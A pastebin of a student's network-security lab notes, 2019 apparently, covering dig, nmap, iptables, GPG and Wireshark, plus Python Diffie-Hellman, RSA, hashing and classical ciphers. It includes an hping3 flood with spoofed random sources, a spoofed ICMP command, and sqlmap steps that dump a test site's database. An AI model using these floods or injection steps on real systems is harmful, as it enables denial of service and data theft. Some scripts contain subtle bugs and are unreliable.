· 6 years ago · May 02, 2019, 12:44 AM
1https://pastebin.com/yxpdbQwP
2
3Ifconfig
4
5************************************************************************
6whois 192.168.39.187
7
8A Whois server is set-up by an ICANN accredited registrar to acquire up-to-date information about domains that are registered within it. Every ICANN registrar is mandated to maintain a Whois server according to the ICANN agreement.
9
10***************************************************************************
11dig www.google.com OR dig google.com +short
12
13domain information groper
14It performs DNS lookups
15dig provides a number of query options which affect the way in which lookups are made and the results displayed. Some of these set or reset flag bits in the query header, some determine which sections of the answer get printed, and others determine the timeout and retry strategies
16
17dig 192.168.39.187
18
19****************************************************************************
20traceroute www.google.com
21
22traceroute prints the route that packets take to a network host.
23
24https://www.computerhope.com/unix/utracero.htm
25**************************************************************************
26nslookup google.com
27
28The nslookup command is used to query Internet name servers interactively for information.
29By default, nslookup will translate a domain name to an IP address and vice versa
30
31https://www.computerhope.com/unix/unslooku.htm
32**************************************************************************
33sudo netstat -plnt
34netstat -r
35netstat -i
36
37netstat -a | grep -e unix -e ESTABLISHED
38netstat -a | grep -e udp -e ESTABLISHED
39netstat -a | grep -c -e tcp -e ESTABLISHED
40sudo netstat -plnt | grep 80
41
42
43
44network statistics, the netstat command is a command found in almost all command line environments that allow you to view the statistics of the network.
45
46netstat ("network statistics") is a command-line tool that displays network connections (both incoming and outgoing), routing tables, and a number of network interface
47**************************************************************************
48Find ves public ip address? -
49dig ves.ac.in
50
51
52**************************************************************************
53sudo nmap -v -Pn -O 192.168.45.151
54
55nmap ("Network Mapper") is an open source tool for network exploration and security auditing. It was designed to rapidly scan large networks,
56
57https://www.unixmen.com/10-practical-examples-linux-nmap-command/
58
59nmap google.com
60sudo nmap -O google.com
61sudo nmap -sX google.com
62
63
64
65#######################################
66
67hping
68sudo hping3 192.168.37.56
69sudo hping3 -c 10000 --flood --rand-source 192.168.37.56
70sudo hping3 -c 10 192.168.36.193
71sudo hping3 -c 10 -d 120 192.168.36.193
72sudo hping3 -1 -c 10 -a 192.168.36.193 192.168.37.56
73The -V is for a verbose output
74The -c command is essentially the number of packets you want to send to the particular target. In this case, 1000 packets
75The -d command allows you to choose the size of a packet. For this example, 100
76To specify the type of packet, we need to add -S which is a syn packet
77After this, the -p command specifies the port, so the port 21 in this case, the FTP port.
78You then type in the command –flood
79-a Spoofs the source address
80Then add the ip which you need to spoof
81You then add the address which you need to send it to.
82https://hsploit.com/hping3-syn-flooding-icmp-flooding-land-attacks/
83
84
85
86
87
88
89
90
91#######################################
92firewall using Iptables
93
94*************list rules
95iptables -L
96*****block ping request (add rule)
97$ sudo iptables -A INPUT -p icmp --icmp-type echo-request -j REJECT
98
99********unblock ping request (delete rule)
100$ sudo iptables -D INPUT -p icmp --icmp-type echo-request -j REJECT
101
102***********block websites
103iptables -A OUTPUT -p tcp -m string --string "sitename.com" --algo kmp -j REJECT
104***********unblock websites
105iptables -D OUTPUT -p tcp -m string --string "sitename.com" --algo kmp -j REJECT
106
107*******Filtering packets based on source
108sudo iptables -A INPUT -s 192.168.1.3 -j DROP
109sudo iptables -A INPUT -s 192.168.1.3 -j ACCEPT
110
111https://www.hostinger.in/tutorials/iptables-tutorial
112
113
114Block Access To Outgoing IP Address
115
116The following rule will block ip address 202.54.1.22 from making any outgoing connection:
117iptables -A OUTPUT -d 202.54.1.22 -j DROP
118
119****************************************************************************
120Wireshark
121
122Install
123sudo add-apt-repository ppa:wireshark-dev/stable
124sudo apt-get update
125sudo apt-get install wireshark
126
127$ sudo dpkg-reconfigure wireshark-common
128$ sudo usermod -a -G wireshark {user-name}
129$ newgrp wireshark
130
131
132
133remove
134sudo apt-get remove --autoremove wireshark
135sudo apt-get remove --autoremove wireshark wireshark-*
136
137***************************************************************************
138
139GPG
140{https://www.digitalocean.com/community/tutorials/how-to-use-gpg-to-encrypt-and-sign-messages}
141
142sudo apt-get update
143sudo apt-get install gnupg
144gpg --gen-key
145gpg --output ~/revocation.crt --gen-revoke 2016.stephen.grinder@ves.ac.in
146chmod 600 ~/revocation.crt
147 Listing all generated keys:
148gpg --list-secret-keys
149 Send your public key as a file to the recipient:
150gpg -- armor --output mypubkey.gpg export 2016.stephen.grinder@ves.ac.in--
151{gpg --output ~/mygpg.key --armor --export your_email@address.com}
152
153gpg mypubkey.gpg
154 Friend sends his/her public key to you:
155gpg --import mypubkey.gpg
156{gpg --import name_of_pub_key_file}
157
158 encryption:
159gpg --encrypt --sign --armor -r 2016.stephen.grinder@ves.ac.in abc.txt
160
161 Decryption:
162gpg abc.txt.asc
163
164
165
166
167
168
169Installing GPG
170lab308-3@Shubham:~$ sudo apt-get update
171[sudo] password for lab308-3:
172Hit:1 http://ppa.launchpad.net/certbot/certbot/ubuntu xenial InRelease Hit:2 http://security.ubuntu.com/ubuntu xenial-security InRelease Hit:3 http://in.archive.ubuntu.com/ubuntu xenial InRelease
173Hit:4 http://ppa.launchpad.net/danielrichter2007/grub-customizer/ubuntu xenial InRelease Hit:5 http://in.archive.ubuntu.com/ubuntu xenial-updates InRelease
174Hit:6 http://in.archive.ubuntu.com/ubuntu xenial-backports InRelease Hit:7 http://ppa.launchpad.net/gns3/ppa/ubuntu xenial InRelease
175Hit:8 http://ppa.launchpad.net/otto-kesselgulasch/gimp/ubuntu xenial InRelease Reading package lists... Done
176
177lab308-3@Shubham:~$ sudo apt-get install gnupg
178Reading package lists... Done
179Building dependency tree
180Reading state information... Done
181gnupg is already the newest version (1.4.20-1ubuntu3.3).
1820 upgraded, 0 newly installed, 0 to remove and 141 not upgraded.
183
184lab308-3@Shubham:~$ gpg --gen-key
185gpg (GnuPG) 1.4.20; Copyright (C) 2015 Free Software Foundation, Inc.
186This is free software: you are free to change and redistribute it.
187There is NO WARRANTY, to the extent permitted by law.
188Key Generation
189
190
191lab308-3@Shubham:~$ gpg --gen-key
192
193gpg (GnuPG) 1.4.20; Copyright (C) 2015 Free Software Foundation, Inc.
194This is free software: you are free to change and redistribute it.
195There is NO WARRANTY, to the extent permitted by law.
196Please select what kind of key you want:
197(1) RSA and RSA (default)
198(2) DSA and Elgamal
199(3) DSA (sign only)
200(4) RSA (sign only)
201Your selection? 1
202
203RSA keys may be between 1024 and 4096 bits long.
204What keysize do you want? (2048) 4096
205Requested keysize is 4096 bits
206
207Please specify how long the key should be valid.
2080 = key does not expire
209<n> = key expires in n days
210<n>w = key expires in n weeks
211<n>m = key expires in n months
212<n>y = key expires in n years
213Key is valid for? (0) 1y
214
215Key expires at Tuesday 17 March 2020 08:41:50 AM IST
216Is this correct? (y/N) y
217
218You need a user ID to identify your key; the software constructs the user ID from the Real Name, Comment and Email Address in this form:
219"Heinrich Heine (Der Dichter) <heinrichh@duesseldorf.de>"
220
221Real name: Stephen Grinder
222Email address: 2016.stephen.grinder@ves.ac.in
223Comment: Stephen
224You selected this USER-ID:
225"Stephen Grinder (Stephen) <2016.stephen.grinder@ves.ac.in>"
226Change (N)ame, (C)omment, (E)mail or (O)kay/(Q)uit? O
227
228You need a Passphrase to protect your secret key.
229We need to generate a lot of random bytes. It is a good idea to perform some other action (type on the keyboard, move the mouse, utilize the disks) during the prime generation; this gives the random number generator a better chance to gain enough entropy.
230Not enough random bytes available. Please do some other work to give the OS a chance to collect more entropy! (Need 203 more bytes)
231.........+++++
232Not enough random bytes available. Please do some other work to give the OS a chance to collect more entropy! (Need 11 more bytes)
233.........+++++
234We need to generate a lot of random bytes. It is a good idea to perform some other action (type on the keyboard, move the mouse, utilize the disks) during the prime generation; this gives the random number generator a better chance to gain enough entropy.
235Not enough random bytes available. Please do some other work to give the OS a chance to collect more entropy! (Need 178 more bytes) .+++++
236Not enough random bytes available. Please do some other work to give the OS a chance to collect more entropy! (Need 243 more bytes)
237.......+++++
238gpg: /home/lab308-3/.gnupg/trustdb.gpg: trustdb created
239gpg: key 7EDF0433 marked as ultimately trusted
240public and secret key created and signed.
241gpg: checking the trustdb
242gpg: 3 marginal(s) needed, 1 complete(s) needed, PGP trust model
243gpg: depth: 0 valid: 1 signed: 0 trust: 0-, 0q, 0n, 0m, 0f, 1u
244gpg: next trustdb check due at 2020-03-17
245pub 4096R/7EDF0433 2019-03-18 [expires: 2020-03-17]
246Key fingerprint = 8A72 FEAC 9855 2574 4ED5 0A91 D06F 2B3F 7EDF 0433
247uid Stephen Grinder (Stephen) <2016.stephen.grinder@ves.ac.in>
248sub 4096R/8D3D2327 2019-03-18 [expires: 2020-03-17]
249
250
251Create a Revocation Certificate
252lab308-3@Shubham:~$ gpg --output ~/revocation.crt --gen-revoke 2016.stephen.grinder@ves.ac.in
253
254sec 4096R/7EDF0433 2019-03-18 Stephen Grinder (Stephen) <2016.stephen.grinder@ves.ac.in>
255Create a revocation certificate for this key? (y/N) y
256
257Please select the reason for the revocation:
2580 = No reason specified
2591 = Key has been compromised
2602 = Key is superseded
2613 = Key is no longer used
262Q = Cancel
263(Probably you want to select 1 here)
264Your decision? 0
265
266Enter an optional description; end it with an empty line:
267>
268Reason for revocation: No reason specified
269(No description given)
270Is this okay? (y/N) y
271
272You need a passphrase to unlock the secret key for
273user: "Stephen Grinder (Stephen) <2016.stephen.grinder@ves.ac.in>"
2744096-bit RSA key, ID 7EDF0433, created 2019-03-18
275ASCII armored output forced.
276Revocation certificate created.
277Please move it to a medium which you can hide away; if Mallory gets access to this certificate he can use it to make your key unusable. It is smart to print this certificate and store it away, just in case
278your media become unreadable. But have some caution: The print system of your machine might store the data and make it available to others!
279
280lab308-3@Shubham:~$ chmod 600 ~/revocation.crt
281
282Listing all generated keys
283stephen@stephen:~$ gpg --list-secret-keys
284/home/stephen/.gnupg/secring.gpg
285-----------------------------
286sec 2048R/84C7D581 2019-03-31 [expires: 2020-03-30]
287uid Stephen Grinder (Stephen) <2016.stephen.grinder@ves.ac.in>
288ssb 2048R/46ECE634 2019-03-31
289
290Send your public key as a file to the recipient
291stephen@stephen:~$ gpg -- armor --output mypubkey.gpg export 2016.stephen.grinder@ves.ac.in--
292stephen@stephen:~$ gpg mypubkey.gpg
293pub 2048R/84C7D581 2019-03-31 Stephen Grinder (Stephen) <2016.stephen.grinder@ves.ac.in> sub 2048R/46ECE634 2019-03-31 [expires: 2020-03-30]
294
295Friend sends his/her public key to you
296stephen@stephen:~$ gpg --import mypubkey.gpg
297gpg: key 84C7D581: "Stephen Grinder (Stephen) <2016.stephen.grinder@ves.ac.in>" not changed
298gpg: Total number processed: 1
299gpg: unchanged: 1
300
301
302Encryption
303
304stephen@stephen:~$ gpg --encrypt --sign --armor -r 2016.stephen.grinder@ves.ac.in abc.txt
305You need a passphrase to unlock the secret key for
306user: "Stephen Grinder (Stephen) <2016.stephen.grinder@ves.ac.in>"
3072048-bit RSA key, ID 84C7D581, created 2019-03-31
308
309Decryption
310stephen@stephen:~$ gpg abc.txt.asc
311You need a passphrase to unlock the secret key for
312user: "Stephen Grinder (Stephen) <2016.stephen.grinder@ves.ac.in>"
3132048-bit RSA key, ID 46ECE634, created 2019-03-31 (main key ID 84C7D581)
314gpg: encrypted with 2048-bit RSA key, ID 46ECE634, created 2019-03-31 "Stephen Grinder (Stephen) <2016.stephen.grinder@ves.ac.in>"
315File `abc.txt' exists. Overwrite? (y/N) y
316gpg: Signature made Sunday 31 March 2019 07:52:23 PM IST using RSA key ID 84C7D581
317gpg: Good signature from "Stephen Grinder (Stephen) <2016.stephen.grinder@ves.ac.in>"
318
319
320
321
322
323
324****************************************************************************
325SQL INJECTION
326
327sudo apt-get install sqlmap
328
329Step 1: List information about the existing databases
330sqlmap -u http://testphp.vulnweb.com/listproducts.php?cat=1 --dbs
331
332Step 2: List information about Tables present in a particular Database
333sqlmap -u http://testphp.vulnweb.com/listproducts.php?cat=1 -D acuart --tables
334
335Step 3: List information about the columns of a particular table
336sqlmap -u http://testphp.vulnweb.com/listproducts.php?cat=1 -D acuart -T artists --columns
337
338Step 4: Dump the data from the columns
339sqlmap -u http://testphp.vulnweb.com/listproducts.php?cat=1 -D acuart -T artists -C aname --dump
340
341
342*******************************************************************
343XSS
344
345https://xss-game.appspot.com/
346
347
348
349
350
351****************************************************************
352Ettercap
353
354https://www.hackers-arise.com/single-post/2017/08/28/MiTM-Attack-with-Ettercap
355
356
357
358
359
360
361###########################################
362////////////////////////////deffi hellman 1
363
364**********************server.py
365import random
366import time
367import socket
368def select_private_keys(p):
369 a = random.randrange(1,p)
370 return a
371def primitive_root(g, p):
372 residual_set = []
373 for i in range(1,p):
374 residual_set.append(i)
375 # print(residual_set)
376 temp_set = []
377 for j in range(1,p):
378 temp = pow(g, j, p)
379 temp_set.append(temp)
380 temp_set.sort()
381 if temp_set != residual_set:
382 return False
383 else:
384 return True
385if _name_ == '_main_':
386 host = socket.gethostname()
387 port = 5000
388 userA_socket = socket.socket()
389 userA_socket.bind((host, port))
390 userA_socket.listen(2)
391 conn, address = userA_socket.accept()
392 print("connected to : ",str(address))
393 g = int(input("Enter g : "))
394 p = int(input("Enter p : "))
395 if(primitive_root(g, p)):
396 print(g, " is primitive root of ", p)
397 conn.send(str(g).encode())
398 conn.send(str(p).encode())
399 print("g and p sent")
400 time.sleep(2)
401 x = select_private_keys(p)
402 r1 = pow(g, x, p)
403 conn.send(str(r1).encode())
404 print("r1 sent")
405 time.sleep(2)
406 r2 = int(conn.recv(1024).decode())
407 print("r2 received")
408 time.sleep(2)
409 k1 = pow(r2, x, p)
410 conn.send(str(k1).encode())
411 print("k1 sent")
412 time.sleep(2)
413 k2 = int(conn.recv(1024).decode())
414 print("k2 received")
415 time.sleep(2)
416 if k1 == k2:
417 print("Both are equal")
418 else:
419 print("Both are not equal")
420 conn.close()
421 else:
422 print(g, " is not primitive root of ", p)
423 conn.close()
424
425*************client.py
426import random
427import time
428import socket
429def select_private_keys(p):
430 a = random.randrange(1,p)
431 return a
432if _name_ == '_main_':
433 host = socket.gethostname()
434 port = 5000
435 userB_socket = socket.socket()
436 userB_socket.connect((host, port))
437 while True:
438 g = userB_socket.recv(1024).decode()
439 if not g:
440 break
441 g = int(g)
442 p = int(userB_socket.recv(1024).decode())
443 print("g and p received")
444 time.sleep(2)
445 y = select_private_keys(p)
446 r2 = pow(g, y, p)
447 r1 = int(userB_socket.recv(1024).decode())
448 print("r1 received")
449 time.sleep(2)
450 userB_socket.send(str(r2).encode())
451 print("r2 sent")
452 time.sleep(2)
453 k1 = int(userB_socket.recv(1024).decode())
454 print("k1 received")
455 time.sleep(2)
456 k2 = pow(r1, y, p)
457 userB_socket.send(str(k2).encode())
458 print("k2 sent")
459 time.sleep(2)
460 if k1 == k2:
461 print("Both are equal")
462 else:
463 print("Both are not equal")
464 userB_socket.close()
465
466#############################################
467////////////////////////////DEFFI HELLMAN 2
468******************server.py
469import random
470import socket
471
472def send_R2_receive_R1(R2):
473 try:
474 host = 'localhost'
475 port = 6766
476
477 s = socket.socket()
478 s.bind((host, port))
479 s.listen(1)
480 c, addr = s.accept()
481 data = c.recv(1024)
482 data1 = str(R2)
483 c.send(data1.encode())
484 return int(str(data.decode()))
485 finally:
486 c.close()
487
488def check_primitive(g,p):
489 another_set=set()
490 for e in range(1,p):
491 another_set.add(pow(g,e,p))
492 for i in range(1,p):
493 if i not in another_set:
494 return False
495 return True
496
497if __name__ == '__main__':
498 g, p=int(input("Enter g:")), int(input("Enter p:"))
499 if not check_primitive(g,p):
500 print(g," is not primitive root of ",p,sep="")
501 else:
502 #x = random.randint(1,p)
503 y = random.randint(1,p)
504 #R1 = pow(g,x,p)
505 R2 = pow(g,y,p)
506 print("Found R2 =",R2)
507 R1 = send_R2_receive_R1(R2)
508 print("Received R1 =",R1)
509 key = pow(R1,y,p)
510 print("Key =",key)
511
512*************************client .py
513import random
514import socket
515
516def send_R1_receive_R2(R1):
517 host = 'localhost'
518 port = 6766
519
520 s = socket.socket()
521 s.connect((host, port))
522
523 R1 = str(R1)
524 s.send(R1.encode())
525
526 data = s.recv(1024)
527 data = data.decode()
528
529 s.close()
530 return int(data)
531
532def check_primitive(g,p):
533 another_set=set()
534 for e in range(1,p):
535 another_set.add(pow(g,e,p))
536 for i in range(1,p):
537 if i not in another_set:
538 return False
539 return True
540
541
542if __name__ == '__main__':
543 g, p=int(input("Enter g:")), int(input("Enter p:"))
544 if not check_primitive(g,p):
545 print(g," is not primitive root of ",p,sep="")
546 else:
547 x = random.randint(1,p)
548 #y = random.randint(1,p)
549 R1 = pow(g,x,p)
550 print("Found R1 =",R1)
551 #R2 = pow(g,y,p)
552 R2 = send_R1_receive_R2(R1)
553 print("Received R2 =",R2)
554 key = pow(R2,x,p)
555 print("Key =",key)
556
557#############################################
558
559///////////////////////////RSA.py 1
560import random
561def gcd(a, b):
562 while b != 0:
563 a, b = b, a % b
564 return a
565def isPrime(num):
566 if num is 2:
567 return True
568 if (num < 2) or (num % 2 is 0):
569 return False
570 for n in range(3, int(num ** 0.5) + 2,2):
571 if num % n == 0:
572 return False
573 return True
574def multiInverse(e, phi):
575 r1 = phi
576 r2 = e
577 t1 = 0
578 t2 = 1
579 while r2 is not 0:
580 q = r1 // r2
581 r = r1 % r2
582 t = t1 - (q * t2)
583 r1 = r2
584 r2 = r
585 t1 = t2
586 t2 = t
587 return t1
588def generateKeyPair(p, q):
589 n = p * q
590 phi = (p - 1) * (q - 1)
591 print("phi=", phi)
592 e = random.randrange(1, phi)(1, phi)
593 g = gcd(e, phi)
594 while g != 1:
595 e = random.randrange(1, phi)
596 g = gcd(e, phi)
597 e1 = multiInverse(e, phi)
598 d = e1 % phi
599 return ((e, n), (d, n))
600def encrypt(public_key, plain_text):
601 key, n = public_key
602 cipher = pow(int(plain_text),int(key),int(n))
603 return cipher
604def decrypt(private_key, encrypted_text):
605 key, n = private_key
606 mssg = pow(encrypted_text,key,n)
607 return mssg
608if _name_ == '_main_':
609 p = int(input("Enter number 1 : "))
610 q = int(input("Enter number 2 : "))
611 if not ((isPrime(p) and isPrime(q)) and (p != q)):
612 raise ValueError("Both should be prime")
613 print("Both numbers are prime")
614 print("Generating key pairs.........")
615 public_key, private_key = generateKeyPair(p, q)
616 print("Public key = ", public_key)
617 print("Private key = ", private_key)
618 plain_text = int(input("Enter text to be encrypted :"))
619 encrypted_text = encrypt(public_key, plain_text)
620 print("Your encrypted text is :", encrypted_text)
621 decrypted_text = decrypt(private_key, encrypted_text)
622 print("Decrypted text is :", decrypted_text)
623
624#############################################
625////////////////////////////RSA.py 2
626
627import math
628from sympy import factorint #pip install sympy
629
630factors=[]
631power=[]
632'''
633def isPrime(p):
634 for i in range(2,p//2+1):
635 if p%i==0:
636 return False
637 return True
638
639def factorize(m):
640 i=2
641 k=0
642 while (i<=m):
643 if(isPrime(i)):
644 if m%i==0:
645 factors.append(i)
646 power.append(0)
647 while m%i==0:
648 power[k]+=1
649 m=m//i
650 k+=1
651 i+=1
652 print(factors)
653 print(power)
654'''
655def calc_phi():
656 phi=1
657 for i in range(0,len(factors)):
658 if power[i]>1:
659 phi*=(pow(factors[i], power[i]) - pow(factors[i], power[i]-1))
660 elif power[i]==1:
661 phi*=(factors[i]-1)
662 return phi
663
664def mul_inv(e,n):
665 if(math.gcd(e,phi)==1):
666 r1=phi
667 r2=e
668 t1=0
669 t2=1
670
671 while(r2!=0):
672 q=r1//r2
673 r=r1%r2
674 t=t1-q*t2
675 r1=r2
676 r2=r
677 t1=t2
678 t2=t
679 if t1>0:
680 return t1
681 else:
682 return t1%phi
683 else:
684 return -1
685
686def encrypt(s,e,n):
687 c=pow(s,e,n)
688 return c
689
690def decrypt(c,e,n):
691 p=pow(c,d,n)
692 return p
693
694print("RSA key generation:")
695print("1. Encryption with public key")
696print("2. Encryption with private key(Digital Signature)")
697ch=int(input("Enter your choice:"))
698
699n=int(input("Enter n:"))
700print("n:",n)
701
702#factorize(n)
703fact=factorint(n)
704factors=list(fact.keys())
705power=list(fact.values())
706print(factors)
707print(power)
708phi=calc_phi()
709
710d=-1
711while d==-1:
712 e=int(input("Enter e:"))
713 print("e:",e)
714 d=mul_inv(e,n)
715 if d==-1:
716 print("Multiplicative inverse doesn't exist. Try again.")
717print("d:",d)
718if ch==1:
719 print("Public Key: (", n, ",", e, ")")
720 print("Private Key: (", n, ",", d, ")")
721else:
722 print("Private Key: (", n, ",", e, ")")
723 print("Public Key: (", n, ",", d, ")")
724s=int(input("Enter the plain text:"))
725c=encrypt(s,e,n)
726print("encrypted text : ",c)
727p=decrypt(c,e,n)
728print("decrypted text : ",p)
729
730
731
732####################################
733
734/////////////////////MD5 Number 5
735import hashlib
736import time
737import os
738import math
739md=open("hii.txt","r")
740data=md.read()
741print('Length of input data is :',len(data))
742start = time.clock()
743result = hashlib.md5(data.encode())
744print(result.hexdigest())
745a=len(result.hexdigest())
746end = time.clock()
747print('length of encoded data using md5',a)
748print("time required :",end-start)
749
750///////////////////SHA
751import hashlib
752import time
753# initializing string
754str1 = "Hi"
755input_length=len(str1)
756start_time=time.time()
757# then sending to SHA1()
758result = hashlib.sha1(str1.encode())
759print("The hexadecimal equivalent of SHA1 is : ")
760print(result.hexdigest())
761end_time=time.time()
762print('length of input string',input_length)
763print('length of output string',result.digest_size)
764print('Start time =',start_time)
765print('End_time=',end_time)
766print('Total time required =',(end_time-start_time))
767
768
769
770
771
772
773
774
775*************************************************************
776Product cipher
777
778
779
780k = [3,1,4,5,2]
781ki = [2,5,1,3,4]
782kc = 3
783alpha = 'abcdefghijklmnopqrstuvwxyz'
784msg = input("Enter the message: ")
785msg = "".join(msg.split())
786enc = ""
787dec = ""
788
789##while len(msg)%5 != 0 :
790## msg = msg + "x"
791
792for i in msg :
793 enc = enc + alpha[(alpha.find(i)+kc)%26]
794
795print("After encryption with Caesar Cipher:",enc)
796msg = enc
797enc = ""
798
799mat = [["x" for i in range(5)] for j in range(int(len(msg)/5))]
800print("Transposition Matrix: ")
801for i in range(int(len(msg)/5)) :
802 for j in range(5):
803 print(msg[i*5+j], end=" ")
804 print()
805
806l = 0
807for i in range(5) :
808 for j in range(int(len(msg)/5)) :
809 if j*5+k[i]-1 < len(msg) :
810 mat[j][i] = msg[j*5+k[i]-1]
811
812enc = ""
813for i in range(5) :
814 for j in range(int(len(msg)/5)) :
815 enc = enc + mat[j][i]
816
817print("Final Encrypted Message:",enc.upper())
818
819for i in range(5) :
820 for j in range(int(len(enc)/5)) :
821 mat[j][i] = enc[i*(int(len(enc)/5))+j]
822
823enc= ""
824
825for i in range(int(len(msg)/5)) :
826 for j in range(5) :
827 enc = enc + mat[i][ki[j]-1]
828
829for i in enc :
830 dec = dec + alpha[(alpha.find(i)-kc)%26]
831
832print("Decrypted Message:",dec)
833
834
835
836///////////////////////////////Caesar Cipher:
837
838# encrypt and decrypt a text using a simple algorithm of offsetting the letters
839
840key = 'abcdefghijklmnopqrstuvwxyz'
841
842def encrypt(n, plaintext):
843 """Encrypt the string and return the ciphertext"""
844 result = ''
845
846 for l in plaintext.lower():
847 try:
848 i = (key.index(l) + n) % 26
849 result += key[i]
850 except ValueError:
851 result += l
852
853 return result.lower()
854
855def decrypt(n, ciphertext):
856 """Decrypt the string and return the plaintext"""
857 result = ''
858
859 for l in ciphertext:
860 try:
861 i = (key.index(l) - n) % 26
862 result += key[i]
863 except ValueError:
864 result += l
865
866 return result
867
868text = "I am coding Python on SoloLearn!"
869offset = 5
870
871encrypted = encrypt(offset, text)
872print('Encrypted:', encrypted)
873
874decrypted = decrypt(offset, encrypted)
875print('Decrypted:', decrypted)
876
877
878
879
880
881
882//////////////////////////////Autokey substitution cipher
883
884import math
885import random
886
887def subscipher_encrypt(msg,key):
888 msg = "".join(msg.split(' '))
889 msg = msg.lower()
890 m = list(msg)
891 stage1 = [ord(i) - ord('a') for i in m]
892 stage2 = [key]
893 stage2.extend(stage1[:-1])
894 stage3 = [i+j for i,j in zip(stage1,stage2)]
895 stage4 = [i%26 for i in stage3]
896 stage5 = [chr(i+ord('a')) for i in stage4]
897 cipher = "".join(stage5).upper()
898 return cipher
899
900def subscipher_decrypt(cipher,key):
901 m = list(cipher)
902 stage1 = [ord(i)-ord('A') for i in m]
903 stage2 = [(stage1[0]-key)%26]
904 for i in range(1,len(m)):
905 stage2.append((stage1[i] - stage2[i-1]) % 26)
906 stage3 = [chr(i + ord('A')) for i in stage2]
907 plain = "".join(stage3)
908 return plain
909
910if __name__ == '__main__':
911 message = input("Enter the message : ")
912 key = random.randint(50,100)
913
914
915 ct = subscipher_encrypt(message,key)
916 print("encrypted text is : ",ct)
917 pt = subscipher_decrypt(ct,key)
918 print("Decrypted text is : ",pt)
919
920
921
922
923
924
925//////////////////////Keyless Transposition Cipher
926
927''' Keyless Transposition Cipher '''
928import math
929
930#WORKING
931''' e.g. message is 'Python' to be transposed
932In keyless trans.n message is split into 2 rows having alternate characters of message
9331st row --> | P | | T | | O | |
9342nd row --> | | Y | | H | | N |
935The transposed message will be all characters of 1st row then of the 2nd row
936i.e. --> 'PTOYHN'
937'''
938
939def encrTrans(m):
940 #For storing characters present at even indices
941 even = []
942 #For storing characters present at odd indices
943 odd = []
944 for i in range(0,len(m)):
945 if(i%2 == 0):
946 even.append(m[i])
947 else:
948 odd.append(m[i])
949 tlist = even + odd
950 #returning list elements as a single string
951 return "".join(tlist)
952
953def decrTrans(tlist):
954 decryptedList = []
955 #halflength means till all the characters which were in the 1st row
956 halflength = math.ceil(len(tlist)/2)
957 #Now we will append characters in decryptedList alternately from 1st half and 2nd half of tlist
958 for i in range(0,halflength):
959 decryptedList.append(tlist[i])
960 if(halflength+i > len(tlist)-1):
961 break
962 else:
963 decryptedList.append(tlist[halflength+i])
964 return decryptedList
965
966if __name__ == '__main__':
967 message = input("Enter the message : ")
968 #Removing spaces if present in the message
969 message = "".join(message.split(' '))
970
971 transposedmsg = encrTrans(message)
972 print("Transposed message is : ",transposedmsg)
973
974 decryptedmsg = decrTrans(transposedmsg)
975 print("Decrypted message is : ","".join(decryptedmsg))